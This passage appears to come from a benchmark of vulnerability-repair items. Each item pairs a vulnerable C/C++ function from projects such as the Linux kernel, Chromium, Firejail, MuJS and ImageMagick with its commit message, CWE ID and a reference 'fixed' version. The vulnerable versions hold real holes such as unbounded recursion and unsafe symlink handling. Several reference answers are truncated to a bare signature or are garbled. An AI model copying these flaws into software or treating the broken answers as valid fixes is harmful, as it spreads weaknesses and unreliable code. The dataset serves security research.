osi_free(p_pkt); p_ccb->p_rx_msg = NULL; } mca_ccb_report_event(p_ccb, evt_data.hdr.op_code, &evt_data); } else osi_free(p_pkt); }
174,080
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void Sp_split_regexp(js_State *J) { js_Regexp *re; const char *text; int limit, len, k; const char *p, *a, *b, *c, *e; Resub m; text = checkstring(J, 0); re = js_toregexp(J, 1); limit = js_isdefined(J, 2) ? js_tointeger(J, 2) : 1 << 30; js_newarray(J); len = 0; e = text + strlen(text); /* splitting the empty string */ if (e == text) { if (js_regexec(re->prog, text, &m, 0)) { if (len == limit) return; js_pushliteral(J, ""); js_setindex(J, -2, 0); } return; } p = a = text; while (a < e) { if (js_regexec(re->prog, a, &m, a > text ? REG_NOTBOL : 0)) break; /* no match */ b = m.sub[0].sp; c = m.sub[0].ep; /* empty string at end of last match */ if (b == p) { ++a; continue; } if (len == limit) return; js_pushlstring(J, p, b - p); js_setindex(J, -2, len++); for (k = 1; k < m.nsub; ++k) { if (len == limit) return; js_pushlstring(J, m.sub[k].sp, m.sub[k].ep - m.sub[k].sp); js_setindex(J, -2, len++); } a = p = c; } if (len == limit) return; js_pushstring(J, p); js_setindex(J, -2, len); } Commit Message: Bug 700937: Limit recursion in regexp matcher. Also handle negative return code as an error in the JS bindings. CWE ID: CWE-400
static void Sp_split_regexp(js_State *J) { js_Regexp *re; const char *text; int limit, len, k; const char *p, *a, *b, *c, *e; Resub m; text = checkstring(J, 0); re = js_toregexp(J, 1); limit = js_isdefined(J, 2) ? js_tointeger(J, 2) : 1 << 30; js_newarray(J); len = 0; e = text + strlen(text); /* splitting the empty string */ if (e == text) { if (js_doregexec(J, re->prog, text, &m, 0)) { if (len == limit) return; js_pushliteral(J, ""); js_setindex(J, -2, 0); } return; } p = a = text; while (a < e) { if (js_doregexec(J, re->prog, a, &m, a > text ? REG_NOTBOL : 0)) break; /* no match */ b = m.sub[0].sp; c = m.sub[0].ep; /* empty string at end of last match */ if (b == p) { ++a; continue; } if (len == limit) return; js_pushlstring(J, p, b - p); js_setindex(J, -2, len++); for (k = 1; k < m.nsub; ++k) { if (len == limit) return; js_pushlstring(J, m.sub[k].sp, m.sub[k].ep - m.sub[k].sp); js_setindex(J, -2, len++); } a = p = c; } if (len == limit) return; js_pushstring(J, p); js_setindex(J, -2, len); }
169,701
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void mark_files_ro(struct super_block *sb) { struct file *f; lg_global_lock(&files_lglock); do_file_list_for_each_entry(sb, f) { if (!file_count(f)) continue; if (!(f->f_mode & FMODE_WRITE)) continue; spin_lock(&f->f_lock); f->f_mode &= ~FMODE_WRITE; spin_unlock(&f->f_lock); if (file_check_writeable(f) != 0) continue; __mnt_drop_write(f->f_path.mnt); file_release_write(f); } while_file_list_for_each_entry; lg_global_unlock(&files_lglock); } Commit Message: get rid of s_files and files_lock The only thing we need it for is alt-sysrq-r (emergency remount r/o) and these days we can do just as well without going through the list of files. Signed-off-by: Al Viro <[email protected]> CWE ID: CWE-17
void mark_files_ro(struct super_block *sb)
166,803
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: cdf_read_sector(const cdf_info_t *info, void *buf, size_t offs, size_t len, const cdf_header_t *h, cdf_secid_t id) { assert((size_t)CDF_SEC_SIZE(h) == len); return cdf_read(info, (off_t)CDF_SEC_POS(h, id), ((char *)buf) + offs, len); } Commit Message: add more check found by cert's fuzzer. CWE ID: CWE-119
cdf_read_sector(const cdf_info_t *info, void *buf, size_t offs, size_t len, const cdf_header_t *h, cdf_secid_t id) { size_t ss = CDF_SEC_SIZE(h); size_t pos = CDF_SEC_POS(h, id); assert(ss == len); return cdf_read(info, (off_t)pos, ((char *)buf) + offs, len); }
169,883
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: int ext4_ext_get_blocks(handle_t *handle, struct inode *inode, ext4_lblk_t iblock, unsigned int max_blocks, struct buffer_head *bh_result, int flags) { struct ext4_ext_path *path = NULL; struct ext4_extent_header *eh; struct ext4_extent newex, *ex, *last_ex; ext4_fsblk_t newblock; int err = 0, depth, ret, cache_type; unsigned int allocated = 0; struct ext4_allocation_request ar; ext4_io_end_t *io = EXT4_I(inode)->cur_aio_dio; __clear_bit(BH_New, &bh_result->b_state); ext_debug("blocks %u/%u requested for inode %lu\n", iblock, max_blocks, inode->i_ino); /* check in cache */ cache_type = ext4_ext_in_cache(inode, iblock, &newex); if (cache_type) { if (cache_type == EXT4_EXT_CACHE_GAP) { if ((flags & EXT4_GET_BLOCKS_CREATE) == 0) { /* * block isn't allocated yet and * user doesn't want to allocate it */ goto out2; } /* we should allocate requested block */ } else if (cache_type == EXT4_EXT_CACHE_EXTENT) { /* block is already allocated */ newblock = iblock - le32_to_cpu(newex.ee_block) + ext_pblock(&newex); /* number of remaining blocks in the extent */ allocated = ext4_ext_get_actual_len(&newex) - (iblock - le32_to_cpu(newex.ee_block)); goto out; } else { BUG(); } } /* find extent for this block */ path = ext4_ext_find_extent(inode, iblock, NULL); if (IS_ERR(path)) { err = PTR_ERR(path); path = NULL; goto out2; } depth = ext_depth(inode); /* * consistent leaf must not be empty; * this situation is possible, though, _during_ tree modification; * this is why assert can't be put in ext4_ext_find_extent() */ if (path[depth].p_ext == NULL && depth != 0) { ext4_error(inode->i_sb, "bad extent address " "inode: %lu, iblock: %d, depth: %d", inode->i_ino, iblock, depth); err = -EIO; goto out2; } eh = path[depth].p_hdr; ex = path[depth].p_ext; if (ex) { ext4_lblk_t ee_block = le32_to_cpu(ex->ee_block); ext4_fsblk_t ee_start = ext_pblock(ex); unsigned short ee_len; /* * Uninitialized extents are treated as holes, except that * we split out initialized portions during a write. */ ee_len = ext4_ext_get_actual_len(ex); /* if found extent covers block, simply return it */ if (iblock >= ee_block && iblock < ee_block + ee_len) { newblock = iblock - ee_block + ee_start; /* number of remaining blocks in the extent */ allocated = ee_len - (iblock - ee_block); ext_debug("%u fit into %u:%d -> %llu\n", iblock, ee_block, ee_len, newblock); /* Do not put uninitialized extent in the cache */ if (!ext4_ext_is_uninitialized(ex)) { ext4_ext_put_in_cache(inode, ee_block, ee_len, ee_start, EXT4_EXT_CACHE_EXTENT); goto out; } ret = ext4_ext_handle_uninitialized_extents(handle, inode, iblock, max_blocks, path, flags, allocated, bh_result, newblock); return ret; } } /* * requested block isn't allocated yet; * we couldn't try to create block if create flag is zero */ if ((flags & EXT4_GET_BLOCKS_CREATE) == 0) { /* * put just found gap into cache to speed up * subsequent requests */ ext4_ext_put_gap_in_cache(inode, path, iblock); goto out2; } /* * Okay, we need to do block allocation. */ /* find neighbour allocated blocks */ ar.lleft = iblock; err = ext4_ext_search_left(inode, path, &ar.lleft, &ar.pleft); if (err) goto out2; ar.lright = iblock; err = ext4_ext_search_right(inode, path, &ar.lright, &ar.pright); if (err) goto out2; /* * See if request is beyond maximum number of blocks we can have in * a single extent. For an initialized extent this limit is * EXT_INIT_MAX_LEN and for an uninitialized extent this limit is * EXT_UNINIT_MAX_LEN. */ if (max_blocks > EXT_INIT_MAX_LEN && !(flags & EXT4_GET_BLOCKS_UNINIT_EXT)) max_blocks = EXT_INIT_MAX_LEN; else if (max_blocks > EXT_UNINIT_MAX_LEN && (flags & EXT4_GET_BLOCKS_UNINIT_EXT)) max_blocks = EXT_UNINIT_MAX_LEN; /* Check if we can really insert (iblock)::(iblock+max_blocks) extent */ newex.ee_block = cpu_to_le32(iblock); newex.ee_len = cpu_to_le16(max_blocks); err = ext4_ext_check_overlap(inode, &newex, path); if (err) allocated = ext4_ext_get_actual_len(&newex); else allocated = max_blocks; /* allocate new block */ ar.inode = inode; ar.goal = ext4_ext_find_goal(inode, path, iblock); ar.logical = iblock; ar.len = allocated; if (S_ISREG(inode->i_mode)) ar.flags = EXT4_MB_HINT_DATA; else /* disable in-core preallocation for non-regular files */ ar.flags = 0; newblock = ext4_mb_new_blocks(handle, &ar, &err); if (!newblock) goto out2; ext_debug("allocate new block: goal %llu, found %llu/%u\n", ar.goal, newblock, allocated); /* try to insert new extent into found leaf and return */ ext4_ext_store_pblock(&newex, newblock); newex.ee_len = cpu_to_le16(ar.len); /* Mark uninitialized */ if (flags & EXT4_GET_BLOCKS_UNINIT_EXT){ ext4_ext_mark_uninitialized(&newex); /* * io_end structure was created for every async * direct IO write to the middle of the file. * To avoid unecessary convertion for every aio dio rewrite * to the mid of file, here we flag the IO that is really * need the convertion. * For non asycn direct IO case, flag the inode state * that we need to perform convertion when IO is done. */ if (flags == EXT4_GET_BLOCKS_PRE_IO) { if (io) io->flag = EXT4_IO_UNWRITTEN; else ext4_set_inode_state(inode, EXT4_STATE_DIO_UNWRITTEN); } } if (unlikely(EXT4_I(inode)->i_flags & EXT4_EOFBLOCKS_FL)) { if (eh->eh_entries) { last_ex = EXT_LAST_EXTENT(eh); if (iblock + ar.len > le32_to_cpu(last_ex->ee_block) + ext4_ext_get_actual_len(last_ex)) EXT4_I(inode)->i_flags &= ~EXT4_EOFBLOCKS_FL; } else { WARN_ON(eh->eh_entries == 0); ext4_error(inode->i_sb, __func__, "inode#%lu, eh->eh_entries = 0!", inode->i_ino); } } err = ext4_ext_insert_extent(handle, inode, path, &newex, flags); if (err) { /* free data blocks we just allocated */ /* not a good idea to call discard here directly, * but otherwise we'd need to call it every free() */ ext4_discard_preallocations(inode); ext4_free_blocks(handle, inode, 0, ext_pblock(&newex), ext4_ext_get_actual_len(&newex), 0); goto out2; } /* previous routine could use block we allocated */ newblock = ext_pblock(&newex); allocated = ext4_ext_get_actual_len(&newex); if (allocated > max_blocks) allocated = max_blocks; set_buffer_new(bh_result); /* * Update reserved blocks/metadata blocks after successful * block allocation which had been deferred till now. */ if (flags & EXT4_GET_BLOCKS_DELALLOC_RESERVE) ext4_da_update_reserve_space(inode, allocated, 1); /* * Cache the extent and update transaction to commit on fdatasync only * when it is _not_ an uninitialized extent. */ if ((flags & EXT4_GET_BLOCKS_UNINIT_EXT) == 0) { ext4_ext_put_in_cache(inode, iblock, allocated, newblock, EXT4_EXT_CACHE_EXTENT); ext4_update_inode_fsync_trans(handle, inode, 1); } else ext4_update_inode_fsync_trans(handle, inode, 0); out: if (allocated > max_blocks) allocated = max_blocks; ext4_ext_show_leaf(inode, path); set_buffer_mapped(bh_result); bh_result->b_bdev = inode->i_sb->s_bdev; bh_result->b_blocknr = newblock; out2: if (path) { ext4_ext_drop_refs(path); kfree(path); } return err ? err : allocated; } Commit Message: ext4: use ext4_get_block_write in buffer write Allocate uninitialized extent before ext4 buffer write and convert the extent to initialized after io completes. The purpose is to make sure an extent can only be marked initialized after it has been written with new data so we can safely drop the i_mutex lock in ext4 DIO read without exposing stale data. This helps to improve multi-thread DIO read performance on high-speed disks. Skip the nobh and data=journal mount cases to make things simple for now. Signed-off-by: Jiaying Zhang <[email protected]> Signed-off-by: "Theodore Ts'o" <[email protected]> CWE ID:
int ext4_ext_get_blocks(handle_t *handle, struct inode *inode, ext4_lblk_t iblock, unsigned int max_blocks, struct buffer_head *bh_result, int flags) { struct ext4_ext_path *path = NULL; struct ext4_extent_header *eh; struct ext4_extent newex, *ex, *last_ex; ext4_fsblk_t newblock; int err = 0, depth, ret, cache_type; unsigned int allocated = 0; struct ext4_allocation_request ar; ext4_io_end_t *io = EXT4_I(inode)->cur_aio_dio; __clear_bit(BH_New, &bh_result->b_state); ext_debug("blocks %u/%u requested for inode %lu\n", iblock, max_blocks, inode->i_ino); /* check in cache */ cache_type = ext4_ext_in_cache(inode, iblock, &newex); if (cache_type) { if (cache_type == EXT4_EXT_CACHE_GAP) { if ((flags & EXT4_GET_BLOCKS_CREATE) == 0) { /* * block isn't allocated yet and * user doesn't want to allocate it */ goto out2; } /* we should allocate requested block */ } else if (cache_type == EXT4_EXT_CACHE_EXTENT) { /* block is already allocated */ newblock = iblock - le32_to_cpu(newex.ee_block) + ext_pblock(&newex); /* number of remaining blocks in the extent */ allocated = ext4_ext_get_actual_len(&newex) - (iblock - le32_to_cpu(newex.ee_block)); goto out; } else { BUG(); } } /* find extent for this block */ path = ext4_ext_find_extent(inode, iblock, NULL); if (IS_ERR(path)) { err = PTR_ERR(path); path = NULL; goto out2; } depth = ext_depth(inode); /* * consistent leaf must not be empty; * this situation is possible, though, _during_ tree modification; * this is why assert can't be put in ext4_ext_find_extent() */ if (path[depth].p_ext == NULL && depth != 0) { ext4_error(inode->i_sb, "bad extent address " "inode: %lu, iblock: %d, depth: %d", inode->i_ino, iblock, depth); err = -EIO; goto out2; } eh = path[depth].p_hdr; ex = path[depth].p_ext; if (ex) { ext4_lblk_t ee_block = le32_to_cpu(ex->ee_block); ext4_fsblk_t ee_start = ext_pblock(ex); unsigned short ee_len; /* * Uninitialized extents are treated as holes, except that * we split out initialized portions during a write. */ ee_len = ext4_ext_get_actual_len(ex); /* if found extent covers block, simply return it */ if (iblock >= ee_block && iblock < ee_block + ee_len) { newblock = iblock - ee_block + ee_start; /* number of remaining blocks in the extent */ allocated = ee_len - (iblock - ee_block); ext_debug("%u fit into %u:%d -> %llu\n", iblock, ee_block, ee_len, newblock); /* Do not put uninitialized extent in the cache */ if (!ext4_ext_is_uninitialized(ex)) { ext4_ext_put_in_cache(inode, ee_block, ee_len, ee_start, EXT4_EXT_CACHE_EXTENT); goto out; } ret = ext4_ext_handle_uninitialized_extents(handle, inode, iblock, max_blocks, path, flags, allocated, bh_result, newblock); return ret; } } /* * requested block isn't allocated yet; * we couldn't try to create block if create flag is zero */ if ((flags & EXT4_GET_BLOCKS_CREATE) == 0) { /* * put just found gap into cache to speed up * subsequent requests */ ext4_ext_put_gap_in_cache(inode, path, iblock); goto out2; } /* * Okay, we need to do block allocation. */ /* find neighbour allocated blocks */ ar.lleft = iblock; err = ext4_ext_search_left(inode, path, &ar.lleft, &ar.pleft); if (err) goto out2; ar.lright = iblock; err = ext4_ext_search_right(inode, path, &ar.lright, &ar.pright); if (err) goto out2; /* * See if request is beyond maximum number of blocks we can have in * a single extent. For an initialized extent this limit is * EXT_INIT_MAX_LEN and for an uninitialized extent this limit is * EXT_UNINIT_MAX_LEN. */ if (max_blocks > EXT_INIT_MAX_LEN && !(flags & EXT4_GET_BLOCKS_UNINIT_EXT)) max_blocks = EXT_INIT_MAX_LEN; else if (max_blocks > EXT_UNINIT_MAX_LEN && (flags & EXT4_GET_BLOCKS_UNINIT_EXT)) max_blocks = EXT_UNINIT_MAX_LEN; /* Check if we can really insert (iblock)::(iblock+max_blocks) extent */ newex.ee_block = cpu_to_le32(iblock); newex.ee_len = cpu_to_le16(max_blocks); err = ext4_ext_check_overlap(inode, &newex, path); if (err) allocated = ext4_ext_get_actual_len(&newex); else allocated = max_blocks; /* allocate new block */ ar.inode = inode; ar.goal = ext4_ext_find_goal(inode, path, iblock); ar.logical = iblock; ar.len = allocated; if (S_ISREG(inode->i_mode)) ar.flags = EXT4_MB_HINT_DATA; else /* disable in-core preallocation for non-regular files */ ar.flags = 0; newblock = ext4_mb_new_blocks(handle, &ar, &err); if (!newblock) goto out2; ext_debug("allocate new block: goal %llu, found %llu/%u\n", ar.goal, newblock, allocated); /* try to insert new extent into found leaf and return */ ext4_ext_store_pblock(&newex, newblock); newex.ee_len = cpu_to_le16(ar.len); /* Mark uninitialized */ if (flags & EXT4_GET_BLOCKS_UNINIT_EXT){ ext4_ext_mark_uninitialized(&newex); /* * io_end structure was created for every IO write to an * uninitialized extent. To avoid unecessary conversion, * here we flag the IO that really needs the conversion. * For non asycn direct IO case, flag the inode state * that we need to perform convertion when IO is done. */ if ((flags & EXT4_GET_BLOCKS_PRE_IO)) { if (io) io->flag = EXT4_IO_UNWRITTEN; else ext4_set_inode_state(inode, EXT4_STATE_DIO_UNWRITTEN); } if (ext4_should_dioread_nolock(inode)) set_buffer_uninit(bh_result); } if (unlikely(EXT4_I(inode)->i_flags & EXT4_EOFBLOCKS_FL)) { if (eh->eh_entries) { last_ex = EXT_LAST_EXTENT(eh); if (iblock + ar.len > le32_to_cpu(last_ex->ee_block) + ext4_ext_get_actual_len(last_ex)) EXT4_I(inode)->i_flags &= ~EXT4_EOFBLOCKS_FL; } else { WARN_ON(eh->eh_entries == 0); ext4_error(inode->i_sb, __func__, "inode#%lu, eh->eh_entries = 0!", inode->i_ino); } } err = ext4_ext_insert_extent(handle, inode, path, &newex, flags); if (err) { /* free data blocks we just allocated */ /* not a good idea to call discard here directly, * but otherwise we'd need to call it every free() */ ext4_discard_preallocations(inode); ext4_free_blocks(handle, inode, 0, ext_pblock(&newex), ext4_ext_get_actual_len(&newex), 0); goto out2; } /* previous routine could use block we allocated */ newblock = ext_pblock(&newex); allocated = ext4_ext_get_actual_len(&newex); if (allocated > max_blocks) allocated = max_blocks; set_buffer_new(bh_result); /* * Update reserved blocks/metadata blocks after successful * block allocation which had been deferred till now. */ if (flags & EXT4_GET_BLOCKS_DELALLOC_RESERVE) ext4_da_update_reserve_space(inode, allocated, 1); /* * Cache the extent and update transaction to commit on fdatasync only * when it is _not_ an uninitialized extent. */ if ((flags & EXT4_GET_BLOCKS_UNINIT_EXT) == 0) { ext4_ext_put_in_cache(inode, iblock, allocated, newblock, EXT4_EXT_CACHE_EXTENT); ext4_update_inode_fsync_trans(handle, inode, 1); } else ext4_update_inode_fsync_trans(handle, inode, 0); out: if (allocated > max_blocks) allocated = max_blocks; ext4_ext_show_leaf(inode, path); set_buffer_mapped(bh_result); bh_result->b_bdev = inode->i_sb->s_bdev; bh_result->b_blocknr = newblock; out2: if (path) { ext4_ext_drop_refs(path); kfree(path); } return err ? err : allocated; }
167,536
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: GURL DevToolsWindow::GetDevToolsURL(Profile* profile, const GURL& base_url, bool shared_worker_frontend, bool v8_only_frontend, const std::string& remote_frontend, bool can_dock) { if (base_url.SchemeIs("data")) return base_url; std::string frontend_url( !remote_frontend.empty() ? remote_frontend : base_url.is_empty() ? chrome::kChromeUIDevToolsURL : base_url.spec()); std::string url_string( frontend_url + ((frontend_url.find("?") == std::string::npos) ? "?" : "&")); if (shared_worker_frontend) url_string += "&isSharedWorker=true"; if (v8_only_frontend) url_string += "&v8only=true"; if (remote_frontend.size()) { url_string += "&remoteFrontend=true"; } else { url_string += "&remoteBase=" + DevToolsUI::GetRemoteBaseURL().spec(); } if (can_dock) url_string += "&can_dock=true"; return GURL(url_string); } Commit Message: [DevTools] Move sanitize url to devtools_ui.cc. Compatibility script is not reliable enough. BUG=653134 Review-Url: https://codereview.chromium.org/2403633002 Cr-Commit-Position: refs/heads/master@{#425814} CWE ID: CWE-200
GURL DevToolsWindow::GetDevToolsURL(Profile* profile, const GURL& base_url, bool shared_worker_frontend, bool v8_only_frontend, const std::string& remote_frontend, bool can_dock) { if (base_url.SchemeIs("data")) return base_url; std::string frontend_url( !remote_frontend.empty() ? remote_frontend : base_url.is_empty() ? chrome::kChromeUIDevToolsURL : base_url.spec()); std::string url_string( frontend_url + ((frontend_url.find("?") == std::string::npos) ? "?" : "&")); if (shared_worker_frontend) url_string += "&isSharedWorker=true"; if (v8_only_frontend) url_string += "&v8only=true"; if (remote_frontend.size()) { url_string += "&remoteFrontend=true"; } else { url_string += "&remoteBase=" + DevToolsUI::GetRemoteBaseURL().spec(); } if (can_dock) url_string += "&can_dock=true"; return DevToolsUI::SanitizeFrontendURL(GURL(url_string)); }
172,509
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void skel(const char *homedir, uid_t u, gid_t g) { char *fname; if (!arg_shell_none && (strcmp(cfg.shell,"/usr/bin/zsh") == 0 || strcmp(cfg.shell,"/bin/zsh") == 0)) { if (asprintf(&fname, "%s/.zshrc", homedir) == -1) errExit("asprintf"); struct stat s; if (stat(fname, &s) == 0) return; if (stat("/etc/skel/.zshrc", &s) == 0) { copy_file("/etc/skel/.zshrc", fname, u, g, 0644); fs_logger("clone /etc/skel/.zshrc"); } else { touch_file_as_user(fname, u, g, 0644); fs_logger2("touch", fname); } free(fname); } else if (!arg_shell_none && strcmp(cfg.shell,"/bin/csh") == 0) { if (asprintf(&fname, "%s/.cshrc", homedir) == -1) errExit("asprintf"); struct stat s; if (stat(fname, &s) == 0) return; if (stat("/etc/skel/.cshrc", &s) == 0) { copy_file("/etc/skel/.cshrc", fname, u, g, 0644); fs_logger("clone /etc/skel/.cshrc"); } else { touch_file_as_user(fname, u, g, 0644); fs_logger2("touch", fname); } free(fname); } else { if (asprintf(&fname, "%s/.bashrc", homedir) == -1) errExit("asprintf"); struct stat s; if (stat(fname, &s) == 0) return; if (stat("/etc/skel/.bashrc", &s) == 0) { copy_file("/etc/skel/.bashrc", fname, u, g, 0644); fs_logger("clone /etc/skel/.bashrc"); } free(fname); } } Commit Message: security fix CWE ID: CWE-269
static void skel(const char *homedir, uid_t u, gid_t g) { char *fname; if (!arg_shell_none && (strcmp(cfg.shell,"/usr/bin/zsh") == 0 || strcmp(cfg.shell,"/bin/zsh") == 0)) { if (asprintf(&fname, "%s/.zshrc", homedir) == -1) errExit("asprintf"); struct stat s; if (stat(fname, &s) == 0) return; if (is_link(fname)) { // stat on dangling symlinks fails, try again using lstat fprintf(stderr, "Error: invalid %s file\n", fname); exit(1); } if (stat("/etc/skel/.zshrc", &s) == 0) { copy_file_as_user("/etc/skel/.zshrc", fname, u, g, 0644); fs_logger("clone /etc/skel/.zshrc"); } else { touch_file_as_user(fname, u, g, 0644); fs_logger2("touch", fname); } free(fname); } else if (!arg_shell_none && strcmp(cfg.shell,"/bin/csh") == 0) { if (asprintf(&fname, "%s/.cshrc", homedir) == -1) errExit("asprintf"); struct stat s; if (stat(fname, &s) == 0) return; if (is_link(fname)) { // stat on dangling symlinks fails, try again using lstat fprintf(stderr, "Error: invalid %s file\n", fname); exit(1); } if (stat("/etc/skel/.cshrc", &s) == 0) { copy_file_as_user("/etc/skel/.cshrc", fname, u, g, 0644); fs_logger("clone /etc/skel/.cshrc"); } else { touch_file_as_user(fname, u, g, 0644); fs_logger2("touch", fname); } free(fname); } else { if (asprintf(&fname, "%s/.bashrc", homedir) == -1) errExit("asprintf"); struct stat s; if (stat(fname, &s) == 0) return; if (is_link(fname)) { // stat on dangling symlinks fails, try again using lstat fprintf(stderr, "Error: invalid %s file\n", fname); exit(1); } if (stat("/etc/skel/.bashrc", &s) == 0) { copy_file_as_user("/etc/skel/.bashrc", fname, u, g, 0644); fs_logger("clone /etc/skel/.bashrc"); } free(fname); } }
168,371
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static struct svc_rdma_req_map *alloc_req_map(gfp_t flags) { struct svc_rdma_req_map *map; map = kmalloc(sizeof(*map), flags); if (map) INIT_LIST_HEAD(&map->free); return map; } Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux Pull nfsd updates from Bruce Fields: "Another RDMA update from Chuck Lever, and a bunch of miscellaneous bugfixes" * tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits) nfsd: Fix up the "supattr_exclcreat" attributes nfsd: encoders mustn't use unitialized values in error cases nfsd: fix undefined behavior in nfsd4_layout_verify lockd: fix lockd shutdown race NFSv4: Fix callback server shutdown SUNRPC: Refactor svc_set_num_threads() NFSv4.x/callback: Create the callback service through svc_create_pooled lockd: remove redundant check on block svcrdma: Clean out old XDR encoders svcrdma: Remove the req_map cache svcrdma: Remove unused RDMA Write completion handler svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt svcrdma: Clean up RPC-over-RDMA backchannel reply processing svcrdma: Report Write/Reply chunk overruns svcrdma: Clean up RDMA_ERROR path svcrdma: Use rdma_rw API in RPC reply path svcrdma: Introduce local rdma_rw API helpers svcrdma: Clean up svc_rdma_get_inv_rkey() svcrdma: Add helper to save pages under I/O svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT ... CWE ID: CWE-404
static struct svc_rdma_req_map *alloc_req_map(gfp_t flags)
168,177
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void DCTStream::reset() { int row_stride; str->reset(); if (row_buffer) { jpeg_destroy_decompress(&cinfo); init(); } bool startFound = false; int c = 0, c2 = 0; while (!startFound) { if (!c) if (c == -1) { error(-1, "Could not find start of jpeg data"); src.abort = true; return; } if (c != 0xFF) c = 0; return; } if (c != 0xFF) c = 0; } Commit Message: CWE ID: CWE-20
void DCTStream::reset() { int row_stride; str->reset(); if (row_buffer) { jpeg_destroy_decompress(&cinfo); init(); } bool startFound = false; int c = 0, c2 = 0; while (!startFound) { if (!c) if (c == -1) { error(-1, "Could not find start of jpeg data"); return; } if (c != 0xFF) c = 0; return; } if (c != 0xFF) c = 0; }
165,394
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void FindBarController::Observe(NotificationType type, const NotificationSource& source, const NotificationDetails& details) { FindManager* find_manager = tab_contents_->GetFindManager(); if (type == NotificationType::FIND_RESULT_AVAILABLE) { if (Source<TabContents>(source).ptr() == tab_contents_->tab_contents()) { UpdateFindBarForCurrentResult(); if (find_manager->find_result().final_update() && find_manager->find_result().number_of_matches() == 0) { const string16& last_search = find_manager->previous_find_text(); const string16& current_search = find_manager->find_text(); if (last_search.find(current_search) != 0) find_bar_->AudibleAlert(); } } } else if (type == NotificationType::NAV_ENTRY_COMMITTED) { NavigationController* source_controller = Source<NavigationController>(source).ptr(); if (source_controller == &tab_contents_->controller()) { NavigationController::LoadCommittedDetails* commit_details = Details<NavigationController::LoadCommittedDetails>(details).ptr(); PageTransition::Type transition_type = commit_details->entry->transition_type(); if (find_bar_->IsFindBarVisible()) { if (PageTransition::StripQualifier(transition_type) != PageTransition::RELOAD) { EndFindSession(kKeepSelection); } else { find_manager->set_find_op_aborted(true); } } } } } Commit Message: Rename the TabContentWrapper pieces to be "TabHelper"s. (Except for the PasswordManager... for now.) Also, just pre-create them up-front. It saves us effort, as they're all going to be eventually created anyway, so being lazy saves us nothing and creates headaches since the rules about what can be lazy differ from feature to feature. BUG=71097 TEST=zero visible change Review URL: http://codereview.chromium.org/6480117 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@75170 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-20
void FindBarController::Observe(NotificationType type, const NotificationSource& source, const NotificationDetails& details) { FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper(); if (type == NotificationType::FIND_RESULT_AVAILABLE) { if (Source<TabContents>(source).ptr() == tab_contents_->tab_contents()) { UpdateFindBarForCurrentResult(); if (find_tab_helper->find_result().final_update() && find_tab_helper->find_result().number_of_matches() == 0) { const string16& last_search = find_tab_helper->previous_find_text(); const string16& current_search = find_tab_helper->find_text(); if (last_search.find(current_search) != 0) find_bar_->AudibleAlert(); } } } else if (type == NotificationType::NAV_ENTRY_COMMITTED) { NavigationController* source_controller = Source<NavigationController>(source).ptr(); if (source_controller == &tab_contents_->controller()) { NavigationController::LoadCommittedDetails* commit_details = Details<NavigationController::LoadCommittedDetails>(details).ptr(); PageTransition::Type transition_type = commit_details->entry->transition_type(); if (find_bar_->IsFindBarVisible()) { if (PageTransition::StripQualifier(transition_type) != PageTransition::RELOAD) { EndFindSession(kKeepSelection); } else { find_tab_helper->set_find_op_aborted(true); } } } } }
170,660
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static Image *ReadOneMNGImage(MngInfo* mng_info, const ImageInfo *image_info, ExceptionInfo *exception) { char page_geometry[MaxTextExtent]; Image *image; MagickBooleanType logging; volatile int first_mng_object, object_id, term_chunk_found, skip_to_iend; volatile ssize_t image_count=0; MagickBooleanType status; MagickOffsetType offset; MngBox default_fb, fb, previous_fb; #if defined(MNG_INSERT_LAYERS) PixelPacket mng_background_color; #endif register unsigned char *p; register ssize_t i; size_t count; ssize_t loop_level; volatile short skipping_loop; #if defined(MNG_INSERT_LAYERS) unsigned int mandatory_back=0; #endif volatile unsigned int #ifdef MNG_OBJECT_BUFFERS mng_background_object=0, #endif mng_type=0; /* 0: PNG or JNG; 1: MNG; 2: MNG-LC; 3: MNG-VLC */ size_t default_frame_timeout, frame_timeout, #if defined(MNG_INSERT_LAYERS) image_height, image_width, #endif length; /* These delays are all measured in image ticks_per_second, * not in MNG ticks_per_second */ volatile size_t default_frame_delay, final_delay, final_image_delay, frame_delay, #if defined(MNG_INSERT_LAYERS) insert_layers, #endif mng_iterations=1, simplicity=0, subframe_height=0, subframe_width=0; previous_fb.top=0; previous_fb.bottom=0; previous_fb.left=0; previous_fb.right=0; default_fb.top=0; default_fb.bottom=0; default_fb.left=0; default_fb.right=0; logging=LogMagickEvent(CoderEvent,GetMagickModule(), " Enter ReadOneMNGImage()"); image=mng_info->image; if (LocaleCompare(image_info->magick,"MNG") == 0) { char magic_number[MaxTextExtent]; /* Verify MNG signature. */ count=(size_t) ReadBlob(image,8,(unsigned char *) magic_number); if 